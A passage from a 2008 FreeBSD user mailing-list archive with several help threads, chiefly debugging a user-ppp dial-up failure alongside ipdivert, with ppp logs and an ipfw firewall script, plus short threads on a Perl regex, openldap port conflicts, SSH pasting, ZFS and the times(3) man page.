hadn't realised that ppp had changed so much. Wish someone who knows a bit more about the current situation would comment .. > [...] > Working in background mode > Using interface: tun0 > Child failed (errdead) > > >> set ctsrts off # enables software flow control > >> set accmap 000a0000 # comments out these 2 lines for hardware flow control > > Not sure why you don't want to use hardware flow control? Is this with > > a regular external modem? Anyway, I've always used ctsrts (with cuaa0). > 5 year ago, I downloaded this ppp.conf from some web site. But > anyway, I did follow your suggestion i.e. hardware flow control. It > still doesn't work as ``Child failed''. Actually I don't know so much > in this area (flow control). I only code C on *Unix. I rarely do this > kind of things e.g. system setup or configuration. And yes, it is a > regular external modem. I spent about 15 years debugging user problems with dialup modems; it can be really difficult without first knowing the modem type and it's internal config - however that doesn't seem to be your problem here. > >> add! default HISADDR # Add a (sticky) default route > >> [...] > >> add 0 0 HISADDR > > You probably don't want both those add statements. Try taking out the > > first one, and replacing the last one with the add! default HISADDR. > I changed it before dialing. > > > Unsure if you need an 'enable pap' as well, maybe default. Can't hurt. > I added it before dialing. But all failed. I think it is probably caused by > ipdivert. Well as mentioned above, if ppp is loading libalias modules also, there definitely could be some conflict there .. but I'm now out of my depth. > > Anyway, some extra logging should show you when and how it fails, if it > > still does .. > Nov 30 17:00:00 bsdhost newsyslog[960]: logfile turned over due to size>100K > Nov 30 17:00:16 bsdhost ppp[977]: Phase: Using interface: tun0 > Nov 30 17:00:16 bsdhost ppp[977]: Phase: deflink: Created in closed state > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: ident user-ppp VERSION (built COMPILATIONDATE) > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set device /dev/cuad0 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set speed 115200 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: disable pred1 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: deny pred1 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: disable lqr > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: deny lqr > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set dial ABORT BUSY ABORT NO\sCARRIER TIMEOUT 5 "" AT OK-AT-OK ATE1Q0 OK \dATDT\T TIMEOUT 180 CONNECT > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set redial 3 20 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: enable dns > Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: 0x28389e78 = fopen("/etc/ppp/ppp.conf", "r") > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set phone 0123456789 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set authname myname@myisp.com > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set authkey ********** > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set timeout 0 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set openmode active > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: accept pap > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: enable pap > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: add! default HISADDR > Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: 10 = socket(17, 3, 0) > Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: -1 = write(10, data, 140) > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0x28389e78 = fopen("/var/run/tun0.pid", "w") > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: PPP Started (background mode). > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: bundle: Establish > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: closed -> opening > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0 = uu_lock("cuad0") > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0 = open("/dev/cuad0", 6) > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0x28389e78 = fopen("/var/run/cuad0.if", "w") > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: Connected! That all looks about normal. > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: opening -> dial > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Phone: 1222 > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: deflink: Dial attempt 1 of 20 > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: AT^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Expect(5): OK > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: AT^M^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: OK^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: ATE1Q0^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Expect(5): OK > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: ATE1Q0^M^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: OK^M I've always used E0 myself, but again, if it's been working ok .. > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: ATDT1222^M > Nov 30 17:00:18 bsdhost ppp[978]: tun0: Chat: Expect(180): CONNECT > Nov 30 17:00:49 bsdhost ppp[978]: tun0: Chat: Received: ATDT1222^M^M > Nov 30 17:00:49 bsdhost ppp[978]: tun0: Chat: Received: CONNECT 115200^M > Nov 30 17:00:49 bsdhost ppp[978]: tun0: Phase: deflink: dial -> carrier > Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: /dev/cuad0: CD detected > Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: carrier -> login > Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: login -> lcp Right: at this point the next thing you should see is like: Jul 13 00:18:47 paqi ppp[32861]: tun0: Phase: bundle: Authenticate Jul 13 00:18:47 paqi ppp[32861]: tun0: Phase: deflink: his = PAP, mine = none Jul 13 00:18:47 paqi ppp[32861]: tun0: Phase: Pap Output: smithi ******** Jul 13 00:18:48 paqi ppp[32861]: tun0: Phase: Pap Input: SUCCESS (Greetings!!) Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: Using trigger address 0.0.0.0 Jul 13 00:18:48 paqi ppp[32861]: tun0: Phase: deflink: lcp -> open Jul 13 00:18:48 paqi ppp[32861]: tun0: Phase: bundle: Network Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: FSM: Using "deflink" as a transport Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: deflink: State change Initial --> Closed Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: deflink: LayerStart. Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: deflink: SendConfigReq(1) state = Closed etc. That is, on connect it should then procede to authentication. There's no sign of that. Whether failing at your end or the other is unclear; maybe logging LCP might provide more of a clue, but I'm not sure .. > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Disconnected! .. but it looks like the other end hung up on you after ~18 seconds. > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: lcp -> logout > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: logout -> hangup > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Disconnected! > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Connect time: 50 secs: 434 octets in, 295 octets out > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: 1 packets in, 5 packets out The rest looks like about normal closedown .. > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: total 14 bytes/sec, peak 109 bytes/sec on Sun Nov 30 17:00:55 2008 > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = unlink("/var/run/cuad0.if") > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = uu_unlock("cuad0") > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: hangup -> closed > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(17, 3, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 148 = write(0, data, 148) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(17, 3, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 148 = write(0, data, 148) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(2, 2, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 3223349521, 0xbfbfea5c) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 2149607696, 0xbfbfea5c) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: bundle: Dead > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(7, 2148037723, 0xbfbfeb00) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: PPP Terminated (normal). > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(2, 2, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 3223349521, 0xbfbfe6bc) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 2149607696, 0xbfbfe6bc) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = unlink("/var/run/tun0.pid") .. except the below; I'm not familiar with these messages at all. > Nov 30 17:01:06 bsdhost ppp[977]: tun0: Phase: Parent: Child failed (errdead) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Chat: Parent notified of failure > > I was under the impression that divert had to be built into the kernel, > > but perhaps kldload ipdivert works allright with 7.x. > divert(4) of FBSD7.0R stated that > ipfw_load="YES" > ipdivert_load="YES" > are alternatives to ``options IPFIREWALL'' and ``options IPDIVERT''. > So I put these 2 lines in /boot/loader.conf. And don't have to compile kernel. > Then reboot and dial as described above Ok, thanks for confirming that, and sorry for the sidetrack. [..] > > There's another way to bring up ppp (so creating tun0) without dialing > > out until you're ready; using ppp -auto, with a dial filter rule/s. See > > ppp(8) and the examples in /usr/share/examples/ppp/ppp.conf.sample .. > > maybe something like: > > > > set filter dial 0 0 0 icmp src eq 8 > > > > which will only dial upon seeing an outbound ping packet. You could > > specify some address rather than 0 0 if you want to be more specific. > It's very good suggestion. But for now I just can't bring up the > connection. So I can't test it for now. Fair enough. > > Perhaps others can say if it's ok to kldload ipdivert after ipfw these > > days? In any case, this could mean coincidence rather than causation. > > You've not shown error messages from ppp.log indicating disconnection? > Please see above. > > > Two things you should always check if there are problems passing traffic > > through an interface that's apparently 'UP': > > # ifconfig # make sure addresses, netmasks, etc make sense. > > # netstat -finet -ran # check the default and other routes make sense. > Yes I always do that when connected. > > > I can't say whether it > > would get upset if tun0 was specified and didn't yet exist, but expect > > it'll just ignore any packets that don't match the specified interface, > > though I can't test that here now. Something like this should work: > > > > # ipfw nat 123 config if tun0 log deny_in same_ports unreg_only reset > > # ipfw add [number] nat 123 ip4 from any to any via tun0 > > > > where 123 is an arbitary number,and ip4 is more specific than 'all' > At boot time ... > Flush all rules. > ipfw: unknown interface name tun0 > ipfw: getsockopt(IP_FW_ADD): Invalid argument Hmm. I have rules for natd via ng0, which also doesn't exist at boot, without any such complaints, but that's on a 5.5-STABLE box. > 00100 check-state > ... > > After presence of tun0 (after dialing) ... > # sh /etc/ipfw.rules > Flush all rules. > ipfw: ipfw_ctl invalid option 56 What's that about? You haven't shown the rule that produced that .. > ipfw: setsockopt(IP_FW_NAT_CFG): Invalid argument .. or that. Again I wonder about those libalias modules ppp loaded .. and whether you also had ipdivert loaded while trying ipfw nat? These may be mutually exclusive, but I can't actually try it here currently. > ipfw: getsockopt(IP_FW_ADD): Invalid argument > 00100 check-state > ... > > > Well you can solve your loading-order problem with ppp -auto and a dial > > filter as above. Then you're free to choose between natd and ipfw nat, > > or even ppp -nat if you want. Personally I quit using ppp in favour of > > mpd4, and that works well for me (yes with natd, though on a 5.5 system) > Well I loaded modules (ipfw and ipdivert) at boot time in /boot/loader.conf. > 1. So at first these modules are loaded at boot time. > 2. Secondly, rc.conf was read, which in turn enabling gateway and ipfw. > 3. Then issue ppp command > 4. Then natd -interface tun0 > 5. Then insert these commands to /etc/ipfw.rules as the first two rules. > /sbin/ipfw add divert natd all from any to any via tun0 > /sbin/ipfw add pass all from any to any > then run the ipfw script to load the new rules. > sh /etc/ipfw.rules Which other rules? > But I just can't pass step 3, unless I unload ipdivert. And your ppp.conf or ppp command definitely doesn't mention -nat? > Please don't suspect my system. It had just been very freshly > installed from CDs before I tried everything. And without ipdivert > being loaded into the kernel, I can dial and browse any sites and > very fast with my /etc/ppp/ppp.conf. Should note a bug? Maybe it is. I'm out of ideas anyway, and noone else has come forward. > I think I should go on with ipfw nat, but to correct some syntax in /etc/ipfw.rules. Well I'm pretty sure you shouldn't load ipdivert as well as using ipfw nat, but I've been almost 100% wrong so far so perhaps best ignore me :) cheers, Ian From drew at mykitchentable.net Mon Dec 1 06:13:44 2008 From: drew at mykitchentable.net (Drew Tomlinson) Date: Mon Dec 1 06:13:51 2008 Subject: Regular Expression Help In-Reply-To: <493385F4.6010809@infracaninophile.co.uk> References: <4932CA0D.8080109@mykitchentable.net> <4932D91F.5040804@infracaninophile.co.uk> <4932E8A2.6030804@mykitchentable.net> <493385F4.6010809@infracaninophile.co.uk> Message-ID: <4933F108.4050407@mykitchentable.net> Matthew Seaman wrote: > Drew Tomlinson wrote: >> Matthew Seaman wrote: > >>> % perl -p -e 's/cn=([^ ,]+) ([^,]+),/cn=$2 $1,/' < foo.txt > >> I still don't really understand *why* the above works but I'm trying >> to pick it apart now. > > The RE breaks down like this: > > /cn=([^ ,]+) ([^,]+),/ > cn= Match literal text 'cn=' > ( capture #1 begin > [^ ,] Character class: anything that is not space or > comma > + At least one of the above > ) end capture #1 > Match a literal space > ( capture #2 begin > [^,] Character class: anything that is not a comma > + At least one of the above > ) end capture #2 > , Match literal comma Thank you for that. You've shown me a new way to look at things. Instead of worrying about what I want to match, determine what marks the beginning and end of what I want to match and use negated character classes to find those end points. I think my regex writing has just gotten better. :) Cheers, Drew -- Be a Great Magician! Visit The Alchemist's Warehouse http://www.alchemistswarehouse.com From lists at webtent.net Mon Dec 1 06:14:03 2008 From: lists at webtent.net (Robert Fitzpatrick) Date: Mon Dec 1 06:14:31 2008 Subject: openldap24-sasl-client conflicts Message-ID: <1228140069.14908.23.camel@columbus.webtent.org> It seems this always gets me when setting up a new machine and I've haven't been able to stop it from happening. I install openldap-server WITH_SASL and after that point, if I try to install any package with LDAP support, it tries to install openldap-client when openldap-sasl-client is already there and conflicts as shown below. What do I need to do to keep this from happening? ---> Installing the new version via the port ===> Installing for openldap-sasl-client-2.4.11 ===> openldap-sasl-client-2.4.11 depends on file: /usr/local/lib/libcrypto.so.5 - found ===> Generating temporary packing list ===> Checking if net/openldap24-client already installed ===> openldap-sasl-client-2.4.11 is already installed You may wish to ``make deinstall'' and install this port again by ``make reinstall'' to upgrade it properly. If you really wish to overwrite the old port of net/openldap24-client without deleting it first, set the variable "FORCE_PKG_REGISTER" in your environment or the "make install" command line. *** Error code 1 Stop in /usr/ports/net/openldap24-client. *** Error code 1 Stop in /usr/ports/net/openldap24-client. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portinstall.54161.0 env make reinstall ** Fix the installation problem and try again. ---> Skipping 'net/nss_ldap' because a requisite port 'net/openldap24-client' failed (specify -k to force) ---> Skipping 'security/pam_ldap' because a requisite port 'net/openldap24-client' failed (specify -k to force) ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! net/openldap24-client (install error) * net/nss_ldap * security/pam_ldap -- Robert From ivoras at freebsd.org Mon Dec 1 06:14:25 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Mon Dec 1 06:14:45 2008 Subject: Pasting via ssh causes data loss In-Reply-To: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> References: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> Message-ID: Chris wrote: > a cat >testfile then pasted through an ssh terminal.app connection over > satellite (very > bad connection) into a FreeBSD 7.0 box I built in the last month. At Btw. lousy connections don't come into this as SSH does HMAC checking on the data - i.e. even if you somehow managed to loose parts of a TCP stream in a way that's not detected by TCP (which is also practically impossible), SSH will aditionally cryptographically make sure that what is sent is what is received (if an error occurs, the connection will be aborted). Either the sending part / terminal has problem or the receiving part / terminal. Operating system, the network stack or the network quality cannot cause the described behaviour. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081201/c95ef3dc/signature.pgp From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 06:32:27 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 06:32:34 2008 Subject: openldap24-sasl-client conflicts In-Reply-To: <1228140069.14908.23.camel@columbus.webtent.org> References: <1228140069.14908.23.camel@columbus.webtent.org> Message-ID: <200812011532.20731.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 15:01:09 Robert Fitzpatrick wrote: > It seems this always gets me when setting up a new machine and I've > haven't been able to stop it from happening. I install openldap-server > WITH_SASL and after that point, if I try to install any package with > LDAP support, it tries to install openldap-client when > openldap-sasl-client is already there and conflicts as shown below. What > do I need to do to keep this from happening? We actually need the part from the port that requires openldap-client, before it goes on building openldap-client. The "foo depends on ..." line but some context doesn't hurt. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From fbsd06 at mlists.homeunix.com Mon Dec 1 06:33:46 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Mon Dec 1 06:33:52 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <002701c9538a$10ff0330$005bfb48@harryveltman> References: <002701c9538a$10ff0330$005bfb48@harryveltman> Message-ID: <20081201142212.5cddd312@gumby.homeunix.com> On Sun, 30 Nov 2008 23:54:38 -0800 "Harry Veltman" wrote: > Which version and GUI will work best on the internet with my AT > Pentium II 350MHz x86-based PC? Some web sites require Flash Player > 8 or higher, If flash is important to you then I'd suggest you run windows firefox under wine. Native Adobe Flash support is apparently working again in 7.1, but it's only just been restored as being broken for years. And by all accounts the linux flash-plugin isn't perfect even in Linux. > and some require 128-bit encryption I think, but doesn't > 40-bit encryption process data 3 times faster? How many bit > encryption is the various versions of FreeBSD? Thanks. All the supported versions of FreeBSD should have a wide range of ciphers available on browsers. IMO it's not really worth using ciphers below 128 bits. 128 bit is probably safe from the NSA, 40 bits could easily be broken on a pc. From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 06:42:11 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 06:43:08 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201142212.5cddd312@gumby.homeunix.com> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201142212.5cddd312@gumby.homeunix.com> Message-ID: <20081201154132.Q10288@wojtek.tensor.gdynia.pl> > If flash is important to you then I'd suggest you run windows firefox > under wine. Native Adobe Flash support is apparently working again in isn't better to run windows ? From gesbbb at yahoo.com Mon Dec 1 06:48:18 2008 From: gesbbb at yahoo.com (Jerry) Date: Mon Dec 1 06:48:24 2008 Subject: openldap24-sasl-client conflicts In-Reply-To: <1228140069.14908.23.camel@columbus.webtent.org> References: <1228140069.14908.23.camel@columbus.webtent.org> Message-ID: <20081201094813.4e311526@scorpio> On Mon, 01 Dec 2008 09:01:09 -0500 Robert Fitzpatrick wrote: >It seems this always gets me when setting up a new machine and I've >haven't been able to stop it from happening. I install openldap-server >WITH_SASL and after that point, if I try to install any package with >LDAP support, it tries to install openldap-client when >openldap-sasl-client is already there and conflicts as shown below. >What do I need to do to keep this from happening? > >---> Installing the new version via the port >===> Installing for openldap-sasl-client-2.4.11 >===> openldap-sasl-client-2.4.11 depends on >file: /usr/local/lib/libcrypto.so.5 - found ===> Generating >temporary packing list ===> Checking if net/openldap24-client already >installed ===> openldap-sasl-client-2.4.11 is already installed > You may wish to ``make deinstall'' and install this port again > by ``make reinstall'' to upgrade it properly. > If you really wish to overwrite the old port of > net/openldap24-client without deleting it first, set the variable > "FORCE_PKG_REGISTER" in your environment or the "make install" > command line. >*** Error code 1 > >Stop in /usr/ports/net/openldap24-client. >*** Error code 1 > >Stop in /usr/ports/net/openldap24-client. >** Command failed [exit code 1]: /usr/bin/script >-qa /tmp/portinstall.54161.0 env make reinstall ** Fix the >installation problem and try again. ---> Skipping 'net/nss_ldap' >because a requisite port 'net/openldap24-client' failed (specify -k to >force) ---> Skipping 'security/pam_ldap' because a requisite port >'net/openldap24-client' failed (specify -k to force) ** Listing the >failed packages (-:ignored / *:skipped / !:failed) > ! net/openldap24-client (install error) > * net/nss_ldap > * security/pam_ldap I am assuming that you are attempting to install the port(s) manually. Have you tried using a port management tool like 'portmanager' or 'portupgrade' to handle the task. -- Jerry gesbbb@yahoo.com Hoffer's Discovery: The grand act of a dying institution is to issue a newly revised, enlarged edition of the policies and procedures manual. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081201/7e4ebe6c/signature.pgp From keramida at ceid.upatras.gr Mon Dec 1 07:17:25 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Mon Dec 1 07:17:31 2008 Subject: documentation problem for times(3) man page In-Reply-To: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> ("Viktor =?utf-8?Q?=C5=A0tujber=22's?= message of "Mon, 1 Dec 2008 09:51:46 +0100") References: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> Message-ID: <87abbgrkli.fsf@kobe.laptop> On Mon, 1 Dec 2008 09:51:46 +0100, "Viktor ?tujber" wrote: > Hi. Half a year ago I started the following thread: > http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.html. > The subject was a documentation issue where a man page mismatched the > actual system behavior. You are right, there *is* a mismatch. The manpage seems to imply that times() returns the number of CLK_TCK's since the UNIX Epoch, but it returns the number of CLK_TCK's since the system _booted_ instead. I'll fix the manpage. Thanks for the reminder email :) From keramida at ceid.upatras.gr Mon Dec 1 07:31:18 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Mon Dec 1 07:31:25 2008 Subject: documentation problem for times(3) man page In-Reply-To: <87abbgrkli.fsf@kobe.laptop> (Giorgos Keramidas's message of "Mon, 01 Dec 2008 17:17:13 +0200") References: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> <87abbgrkli.fsf@kobe.laptop> Message-ID: <874p1nsyis.fsf@kobe.laptop> On Mon, 01 Dec 2008 17:17:13 +0200, Giorgos Keramidas wrote: > On Mon, 1 Dec 2008 09:51:46 +0100, "Viktor ?tujber" wrote: >> Hi. Half a year ago I started the following thread: >> http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.html. > >> The subject was a documentation issue where a man page mismatched the >> actual system behavior. > > You are right, there *is* a mismatch. The manpage seems to imply that > times() returns the number of CLK_TCK's since the UNIX Epoch, but it > returns the number of CLK_TCK's since the system _booted_ instead. > > I'll fix the manpage. It should be fixed on 8.0-CURRENT now, after the following change: : Author: keramida (doc committer) : Date: Mon Dec 1 15:27:00 2008 : New Revision: 185519 : URL: http://svn.freebsd.org/changeset/base/185519 : : Log: : The times(3) function returns the number of CLK_TCKs since the : startup time of FreeBSD, not since the UNIX Epoch. : : PR: docs/122359 : Submitted by: Viktor Štujber : MFC after: 1 week : : Modified: : head/lib/libc/gen/times.3 It may be too late to push this into 7.1-RELEASE, but I will try to merge the change to the stable branches in a few days. Cheers, Giorgos From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 07:34:29 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 07:34:36 2008 Subject: openldap24-sasl-client conflicts In-Reply-To: <20081201094813.4e311526@scorpio> References: <1228140069.14908.23.camel@columbus.webtent.org> <20081201094813.4e311526@scorpio> Message-ID: <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 15:48:13 Jerry wrote: > >failed packages (-:ignored / *:skipped / !:failed) > > ! net/openldap24-client (install error) > > * net/nss_ldap > > * security/pam_ldap ^^^^^ portupgrade > > I am assuming that you are attempting to install the port(s) manually. > Have you tried using a port management tool like 'portmanager' or > 'portupgrade' to handle the task. It's likely it's caused by portupgrade, but won't be able to tell till the output from net/nss_ldap build. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From kirk at strauser.com Mon Dec 1 07:59:12 2008 From: kirk at strauser.com (Kirk Strauser) Date: Mon Dec 1 07:59:26 2008 Subject: Disenchanted with ZFS; alternatives? Message-ID: <200812010959.15647.kirk@strauser.com> I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, in general I'm a bit underwhelmed. PROS: Adding new filesystems on a whim is really nice. It has a lot of really cool other features that I will probably never need. CONS: I have nearly 3GB of wired RAM, but it doesn't seem to be all that fast. For example, starting an Amanda backup on a UFS2 filesystem would get through the "estimate" phase almost instantly on a system that had been up for several days because of cached filesystem data. On ZFS, it still limps along even if I just finished the last backup a few minutes earlier. Other than saying "I'm using ZFS", I don't seem to have much to show for it. WTF: "Raidz and top-level vdevs cannot be removed from a pool." At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to give up that easy addition of new filesystems. I *could* have a single 700GB root FS but that just doesn't seem right. Are there any good, tested GEOM- based ways of getting that functionality, perhaps along the lines of using something like gvirstor and growfs as needed? - Kirk From a at jenisch.at Mon Dec 1 08:13:58 2008 From: a at jenisch.at (Ewald Jenisch) Date: Mon Dec 1 08:14:06 2008 Subject: Date/time installed ports have been updated on a system? Message-ID: <20081201151249.GA5103@aurora.oekb.co.at> Hi, Is there any way to determine when upgrades to installed ports have been done on a system? I did a "portupgrade -arR" recently and want to know which ports have been upgraded in that process (and no I didn't run that portupgrade under "script"...) Couldn't find an option to "pkg_info", "pkgdb" etc... Thanks much in advance for any clue, -ewald From ptkrisada at gmail.com Mon Dec 1 08:35:19 2008 From: ptkrisada at gmail.com (Pongthep Kulkrisada) Date: Mon Dec 1 08:35:26 2008 Subject: Problem about ppp -nat In-Reply-To: <20081201235157.J34249@sola.nimnet.asn.au> References: <20081123120013.8EDF310657E3@hub.freebsd.org> <20081124012858.J43853@sola.nimnet.asn.au> <20081128163044.GA1850@gmail.com> <20081129222143.R34249@sola.nimnet.asn.au> <20081130142757.GA926@gmail.com> <20081201235157.J34249@sola.nimnet.asn.au> Message-ID: <20081201163459.GA964@gmail.com> > > # ppp -background isp > > Loading /lib/libalias_cuseeme.so > > Loading /lib/libalias_ftp.so > > Loading /lib/libalias_irc.so > > Loading /lib/libalias_nbt.so > > Loading /lib/libalias_pptp.so > > Loading /lib/libalias_skinny.so > > Loading /lib/libalias_smedia.so > > I'm surprised ppp would load these unless -nat was specified somewhere? It is just ppp -background isp. > I spent about 15 years debugging user problems with dialup modems; it > can be really difficult without first knowing the modem type and it's > internal config - however that doesn't seem to be your problem here. Modem type... it is just a normal external serial modem. Internal config... I don't know I lost its manual, sorry. > That is, on connect it should then procede to authentication. There's > no sign of that. Whether failing at your end or the other is unclear; > maybe logging LCP might provide more of a clue, but I'm not sure .. I also don't know about this. > > At boot time ... > > Flush all rules. > > ipfw: unknown interface name tun0 > > ipfw: getsockopt(IP_FW_ADD): Invalid argument > > Hmm. I have rules for natd via ng0, which also doesn't exist at boot, > without any such complaints, but that's on a 5.5-STABLE box. > > > 00100 check-state > > ... > > > > After presence of tun0 (after dialing) ... > > # sh /etc/ipfw.rules > > Flush all rules. > > ipfw: ipfw_ctl invalid option 56 > > What's that about? You haven't shown the rule that produced that .. root@bsdhost:~# cat /etc/ipfw.rules # Define the firewall command (as in /etc/rc.firewall) for easy # reference. Helps to make it easier to read. fwcmd="/sbin/ipfw" # Define our outside interface. With userland-ppp this # defaults to tun0. Or just define ethernet device. oif="tun0" # Force a flushing of the current rules before we reload. $fwcmd -f flush # Do NAT before check-state $fwcmd nat 123 config if $oif log deny_in same_ports unreg_only reset $fwcmd add nat 123 ip4 from any to any via $oif # Check the state of all packets. $fwcmd add check-state # Allow all internal traffics, it is dangerous but just for testing. $fwcmd add allow all from any to any via fxp0 # Allow IPv6 tunneling $fwcmd add allow udp from any 3653 to any 3653 via $oif $fwcmd add allow tcp from any 3653 to any 3653 via $oif # The following line is for user-ppp. $fwcmd add allow ipv6 from any to any via gif0 # The following line is for UDP encapsulation (machine behind NAT). # $fwcmd add allow ipv6 from any to any via tun1 # Stop spoofing on the outside interface. $fwcmd add deny ip from any to any in via $oif not verrevpath # Allow all connections that we initiate, and keep their state. # but deny established connections that don't have a dynamic rule. $fwcmd add allow ip from me to any out via $oif keep-state $fwcmd add deny tcp from any to any established in via $oif # Allow all local traffic. $fwcmd add allow all from any to any via lo0 $fwcmd add deny all from any to 127.0.0.0/8 $fwcmd add deny ip from 127.0.0.0/8 to any # Allow internet users to connect to the port 21, 23 and 80. # We specifically allow connections to the ftpd, telnetd and a webserver. $fwcmd add allow tcp from any to me dst-port 21,23,80 in via $oif setup keep-state # Allow ICMP packets: remove type 8 if you don't want your host # to be pingable. $fwcmd add allow icmp from any to any via $oif icmptypes 0,3,8,11,12 # Deny and log 